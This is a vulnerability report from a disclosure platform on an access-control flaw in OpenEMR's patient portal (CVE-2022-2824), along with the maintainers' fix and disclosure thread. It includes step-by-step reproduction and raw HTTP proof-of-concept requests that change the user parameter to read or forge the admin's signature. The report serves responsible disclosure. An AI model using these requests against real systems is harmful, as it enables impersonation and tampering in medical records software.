User can do all actives with other's signature (view, get, create, update, delete,...) in openemr/openemr

0

Valid Reported on Aug 2nd 2022

Description

I observed that users can view any user's signature by changing their user parameter to other's user parameter. By the same way users can create/delete/update other's signature in create signature function.

View/Get other's signature:

```
1. Login to an account (I use account receptionist).
2. Click "Portal > Portal Audits > Home > Signature on File >  Use Current
3. Modify user parameter to other's user parameter (I use admin's user para
4. Send request, you will see the signature of admin is sent in response.
```

Create/Update/Delete other's signature:

```
1. Login to an account (I use account receptionist).
2. Click "Portal > Portal Audits > Home > Signature on File >  {Sign your s
3. Modify user parameter to other's user parameter (I use admin's user para
4. Send this request.
5. Login with admin account. You will see admin's signature was created.
```

Proof of Concept

View/Get other's signature:

```
POST /openemr/portal/sign/lib/show-signature.php HTTP/1.1
Host: demo.openemr.io
Cookie: OpenEMR=HshnpRzk09lylHKsiGyGQrZDxOUlKlsI2bn-wO0t9g-n8P4h

Content-Length: 61
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.openemr.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.openemr.io/openemr/portal/patient/provider
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"pid":"0","user":"5","is_portal":0,"type":"admin-signature"}
```

Create/Update/Delete other's signature:

```
POST /openemr/portal/sign/lib/save-signature.php HTTP/1.1
Host: demo.openemr.io
Cookie: OpenEMR=HshnpRzk09lylHKsiGyGQrZDxOUlKlsI2bn-wO0t9g-n8P4h
Content-Length: 39622
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://demo.openemr.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.openemr.io/openemr/portal/patient/provider
```

```
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


{"pid":"0","user":"5","is_portal":0,"signer":"Barbara Wallace","type":"admi
```

Impact

Attacker can get/create/update any user's signature including admin's signature. As a result, he/she can impersonate admin or anyone to perform actions.

Occurrences

show-signature.php L60

CVE
CVE-2022-2824
(Published)

Vulnerability Type
CWE-284: Improper Access Control

Severity
High (8.8)

Registry
Npm

Affected Version
7.0.0

Visibility
Public

Status
Fixed

Found by

Lê Thị Mỹ Duyên
@dyn20
pro

This report was seen 506 times.

We are processing your report and will contact the **openemr** team within 24 hours.
4 months ago

Lê Thị Mỹ Duyên modified the report 4 months ago

We have contacted a member of the **openemr** team and are waiting to hear back 4 months ago

stephen waite validated this vulnerability 4 months ago

A preliminary fix has been posted in commit c5d99452c173ef21a8e2241e2bbf4b66e2d7fe11

Please do not create a CVE # or make this vulnerability public at this time. I will make this fix official about 1 week after we release 7.0.0 patch 1 (7.0.0.1), which will likely be in the next few days. After I do that, then will be ok to make CVE # and make it public.

Thanks!

Lê Thị Mỹ Duyên has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **openemr** team. We will try again in 7 days. 4 months ago

Brady Miller marked this as fixed in **7.0.0.1** with commit **c5d994** 4 months ago

The fix bounty has been dropped ✘

This vulnerability will not receive a CVE ✘

show-signature.php#L60 has been validated ✔

Brady Miller 4 months ago Maintainer

OpenEMR patch 1 (7.0.0.1) has been released, so this has been fixed. You have p
make CVE # and make this public.

Lê Thị Mỹ Duyên 3 months ago Researcher

Hi @admin, Could you assign a CVE?

Jamie Slome 3 months ago Admin

Sorted 👍

> Sign in to join this conversation